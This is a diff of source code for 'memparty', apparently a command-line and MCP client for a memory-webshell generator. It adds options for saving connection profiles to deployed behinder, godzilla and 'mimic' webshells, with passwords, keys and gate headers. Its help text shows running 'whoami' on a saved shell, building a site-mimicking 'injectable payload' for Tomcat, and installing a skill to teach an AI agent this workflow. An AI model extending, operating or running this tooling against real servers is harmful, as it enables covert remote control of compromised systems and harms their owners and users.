+
}
|
|
5310
|
+
})
|
|
5311
|
+
);
|
|
5312
|
+
}
|
|
5313
|
+
|
|
4796
5314
|
// src/commands/target.ts
|
|
4797
5315
|
import { Option as Option6 } from "commander";
|
|
4798
5316
|
function parseExtraHeaders3(lines) {
|
|
@@ -4844,14 +5362,15 @@ function registerTargetCommand(program) {
|
|
|
4844
5362
|
program.command("save").description(
|
|
4845
5363
|
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
4846
5364
|
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
4847
|
-
new Option6("-t, --tool <tool>", "shell tool").choices(
|
|
4848
|
-
).option("--pass <pass>", "password").option("--key <key>", "godzilla key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
5365
|
+
new Option6("-t, --tool <tool>", "shell tool").choices(protocolNames())
|
|
5366
|
+
).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
4849
5367
|
"after",
|
|
4850
5368
|
`
|
|
4851
5369
|
Examples:
|
|
4852
5370
|
$ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
|
|
4853
5371
|
-t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
|
|
4854
5372
|
--remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
|
|
5373
|
+
$ memparty save lab/mimic1 -u http://192.0.2.1/mimic -t mimic --profile acme
|
|
4855
5374
|
$ memparty list # show saved targets
|
|
4856
5375
|
$ memparty exec web1/bh9060 --cmd "whoami"
|
|
4857
5376
|
|
|
@@ -4869,7 +5388,10 @@ save is for choosing the name by hand.
|
|
|
4869
5388
|
return;
|
|
4870
5389
|
}
|
|
4871
5390
|
if (!opts.tool) {
|
|
4872
|
-
process.stderr.write(
|
|
5391
|
+
process.stderr.write(
|
|
5392
|
+
`Error: --tool is required (available: ${protocolNames().join(", ")})
|
|
5393
|
+
`
|
|
5394
|
+
);
|
|
4873
5395
|
process.exitCode = 1;
|
|
4874
5396
|
return;
|
|
4875
5397
|
}
|
|
@@ -4884,6 +5406,7 @@ save is for choosing the name by hand.
|
|
|
4884
5406
|
headerName: opts.headerName,
|
|
4885
5407
|
headerValue: opts.headerValue,
|
|
4886
5408
|
extraHeaders: parseExtraHeaders3(opts.header),
|
|
5409
|
+
profile: opts.profile,
|
|
4887
5410
|
insecure: opts.insecure || void 0,
|
|
4888
5411
|
remark: opts.shellRemark
|
|
4889
5412
|
};
|
|
@@ -5371,7 +5894,7 @@ async function startRepl(build) {
|
|
|
5371
5894
|
|
|
5372
5895
|
// src/cli.ts
|
|
5373
5896
|
function buildProgram() {
|
|
5374
|
-
const program = new
|
|
5897
|
+
const program = new Command11();
|
|
5375
5898
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
5376
5899
|
"--api <url>",
|
|
5377
5900
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
@@ -5387,6 +5910,12 @@ Quick start:
|
|
|
5387
5910
|
$ memparty list # saved targets
|
|
5388
5911
|
$ memparty log # recent operations
|
|
5389
5912
|
|
|
5913
|
+
Site-mimicking (mimic) flow:
|
|
5914
|
+
$ memparty skill install # teach your agent this workflow
|
|
5915
|
+
$ memparty profile init acme --site http://192.0.2.1:8080 # then write the profile
|
|
5916
|
+
$ memparty custom build --profile acme --server Tomcat # -> injectable payload
|
|
5917
|
+
$ memparty demo # local end-to-end walkthrough
|
|
5918
|
+
|
|
5390
5919
|
Every subcommand has its own examples: memparty <command> --help
|
|
5391
5920
|
`
|
|
5392
5921
|
);
|
|
@@ -5401,6 +5930,7 @@ Every subcommand has its own examples: memparty <command> --help
|
|
|
5401
5930
|
registerLogCommand(program);
|
|
5402
5931
|
registerParseClassNameCommand(program);
|
|
5403
5932
|
registerProfileCommand(program);
|
|
5933
|
+
registerSkillCommand(program);
|
|
5404
5934
|
registerCustomCommand(program);
|
|
5405
5935
|
registerDemoCommand(program);
|
|
5406
5936
|
registerVersionCommand(program);
|